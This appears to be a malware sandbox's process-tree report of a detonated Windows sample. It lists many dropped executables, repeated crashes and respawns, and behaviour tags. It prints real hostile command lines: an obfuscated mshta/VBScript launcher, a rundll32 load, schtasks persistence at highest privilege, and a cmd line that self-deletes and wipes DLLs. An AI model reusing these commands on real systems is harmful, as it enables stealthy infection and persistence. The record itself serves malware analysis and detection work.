C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:12200
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:8660
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:12436
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:12652
-
-
C:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exeC:\Users\Admin\Documents\XHZAafMWTcTFb7xQ9N1jd2ks.exe3⤵PID:12960
-
-
-
C:\Users\Admin\Documents\BANTMKaGfoagmRKC2AF4seCq.exe"C:\Users\Admin\Documents\BANTMKaGfoagmRKC2AF4seCq.exe"2⤵
- Executes dropped EXE
PID:2288 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 6603⤵
- Program crash
PID:5900
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 6643⤵
- Program crash
PID:3628
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 6763⤵
- Program crash
PID:5348
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 6523⤵
- Program crash
PID:6008
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 8883⤵
- Program crash
PID:6812
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 11203⤵
- Program crash
PID:6688
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2288 -s 11123⤵
- Program crash
PID:7152
-
-
-
C:\Users\Admin\Documents\LX1kR9NZgAg0p3Uzkrpz6QfF.exe"C:\Users\Admin\Documents\LX1kR9NZgAg0p3Uzkrpz6QfF.exe"2⤵
- Executes dropped EXE
PID:184 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 7443⤵
- Program crash
PID:5240
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 7203⤵
- Program crash
PID:5044
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 7563⤵
- Program crash
PID:5596
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 7883⤵
- Program crash
PID:2652
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 9363⤵
- Program crash
PID:6932
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 11923⤵
- Program crash
PID:6344
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 12563⤵
- Program crash
PID:4624
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 11483⤵
- Program crash
PID:7600
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 12363⤵
- Program crash
PID:8096
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 12843⤵
- Program crash
PID:1276
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 13123⤵
- Program crash
PID:8116
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 12523⤵
- Program crash
PID:856
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 13603⤵
- Program crash
PID:7556
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 184 -s 13963⤵
- Program crash
PID:3456
-
-
-
C:\Users\Admin\Documents\6YRSyFoAKHkoU2AdW9eOe9JW.exe"C:\Users\Admin\Documents\6YRSyFoAKHkoU2AdW9eOe9JW.exe"2⤵
- Executes dropped EXE
PID:3616 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 6603⤵
- Program crash
PID:5364
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 6483⤵
- Program crash
PID:6004
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 6803⤵
- Program crash
PID:6140
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 6563⤵
- Program crash
PID:4460
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 8923⤵
- Program crash
PID:4804
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 11243⤵
- Program crash
PID:4848
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3616 -s 11363⤵
- Program crash
PID:6728
-
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe"C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe"2⤵
- Executes dropped EXE
PID:4152 -
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4616
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4204
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4888
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:3364
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4904
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5440
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5740
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5128
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6104
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5708
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5544
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:3036
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5156
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5668
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6400
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6916
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4724
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4484
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:4828
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6936
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:2900
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6412
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7468
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7836
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7248
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7784
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7544
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6068
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:1600
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7584
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5992
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8596
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8924
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6312
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8972
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8368
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8260
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:2404
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9276
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9560
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9560 -s 244⤵
- Program crash
PID:9892
-
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9880
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:6408
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9544
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5220
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5220 -s 244⤵
- Program crash
PID:10196
-
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7996
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5652
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:2868
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:3204
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8116
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:2412
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9384
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:8716
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5832
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:192
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10708
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:11124
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10692
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10832
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10916
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10440
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:9116
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:11816
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:5616
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:11756
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:10632
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:908
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:11676
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:7532
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:12456
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:12704
-
-
C:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exeC:\Users\Admin\Documents\UmOtZYCWNR1i2tnPNx3m_TLU.exe3⤵PID:13064
-
-
-
C:\Users\Admin\Documents\IQDqI4JvXjhSrhy22KICWe0P.exe"C:\Users\Admin\Documents\IQDqI4JvXjhSrhy22KICWe0P.exe"2⤵
- Executes dropped EXE
PID:4108 -
C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"C:\Users\Admin\Documents\J77cmUgJX0OQi4nZtiqUPG2L.exe"3⤵PID:8016
-
C:\Users\Admin\Documents\LLw_oCC5wKOKmGsSZAoEXfIs.exe"C:\Users\Admin\Documents\LLw_oCC5wKOKmGsSZAoEXfIs.exe"4⤵PID:9644
-
C:\Users\Admin\AppData\Roaming\1435969.exe"C:\Users\Admin\AppData\Roaming\1435969.exe"5⤵PID:8596
-
-
C:\Users\Admin\AppData\Roaming\1915837.exe"C:\Users\Admin\AppData\Roaming\1915837.exe"5⤵PID:7064
-
-
C:\Users\Admin\AppData\Roaming\2614105.exe"C:\Users\Admin\AppData\Roaming\2614105.exe"5⤵PID:2848
-
-
C:\Users\Admin\AppData\Roaming\5013003.exe"C:\Users\Admin\AppData\Roaming\5013003.exe"5⤵PID:10268
-
-
C:\Users\Admin\AppData\Roaming\4899640.exe"C:\Users\Admin\AppData\Roaming\4899640.exe"5⤵PID:7392
-
-
-
C:\Users\Admin\Documents\l1ErHTvm3uyqa4c6zzp4cb75.exe"C:\Users\Admin\Documents\l1ErHTvm3uyqa4c6zzp4cb75.exe"4⤵PID:9832
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 3845⤵
- Program crash
PID:9244
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 3725⤵
- Program crash
PID:9100
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 4005⤵
- Program crash
PID:9168
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 6165⤵
- Program crash
PID:10612
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 6645⤵
- Program crash
PID:11208
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 7325⤵
- Program crash
PID:10952
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 7005⤵
- Program crash
PID:5928
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9832 -s 7645⤵
- Program crash
PID:11260
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:7712
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:7868
-
-
-
C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe"C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe"2⤵PID:4592
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF """" == """" for %N In ( ""C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )3⤵PID:5820
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\XZNbAviDsggCG5NRctHQ_L8O.exe" ) do taskkill -F /Im "%~nXN"4⤵PID:8324
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG5⤵PID:9088
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )6⤵PID:9648
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"7⤵PID:2112
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\p_ZPP.J p6⤵PID:8812
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "XZNbAviDsggCG5NRctHQ_L8O.exe"5⤵
- Kills process with taskkill
PID:8304
-
-
-
-
-
C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"2⤵PID:4752
-
C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"3⤵PID:6344
-
-
C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe"3⤵PID:760
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 8T4zRtq4VuRueetv0l1QDrgM.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\8T4zRtq4VuRueetv0l1QDrgM.exe" & del C:\ProgramData\*.dll & exit4⤵PID:9720
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 8T4zRtq4VuRueetv0l1QDrgM.exe /f5⤵
- Kills process with taskkill
PID:10208
-
-
-
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe"C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe"2⤵
- Executes dropped EXE
PID:3200 -
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5056
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4572
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:3804
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5312
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5576
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5908
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4624
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:2736
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5296
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6024
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5240
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:5880
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:4676
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:2452
-
-
C:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exeC:\Users\Admin\Documents\cEBbd6cthJd989vx3yW1quCe.exe3⤵PID:6536
-
-
